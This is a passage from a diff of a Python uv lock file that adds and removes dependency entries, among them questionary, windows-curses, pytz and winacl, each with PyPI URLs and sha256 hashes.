sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
]
[[package]]
name = "python-libnmap"
version = "0.7.3"
@@ -1941,6 +1851,18 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0f/7b/39c34ca613b0b198cb866466651b26b045e2009864c5183c979a3b83f383/pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815", size = 508283, upload-time = "2026-07-25T15:12:05.782Z" },
]
[[package]]
name = "questionary"
version = "2.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "prompt-toolkit" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f6/45/eafb0bba0f9988f6a2520f9ca2df2c82ddfa8d67c95d6625452e97b204a5/questionary-2.1.1.tar.gz", hash = "sha256:3d7e980292bb0107abaa79c68dd3eee3c561b83a0f89ae482860b181c8bd412d", size = 25845, upload-time = "2025-08-28T19:00:20.851Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3c/26/1062c7ec1b053db9e499b4d2d5bc231743201b74051c973dadeac80a8f43/questionary-2.1.1-py3-none-any.whl", hash = "sha256:a51af13f345f1cdea62347589fbb6df3b290306ab8930713bfae4d475a7d4a59", size = 36753, upload-time = "2025-08-28T19:00:19.56Z" },
]
[[package]]
name = "requests"
version = "2.32.5"
@@ -2205,21 +2127,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
]
[[package]]
name = "windows-curses"
version = "2.4.2"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
]
[[package]]
name = "xmltodict"
version = "1.0.4"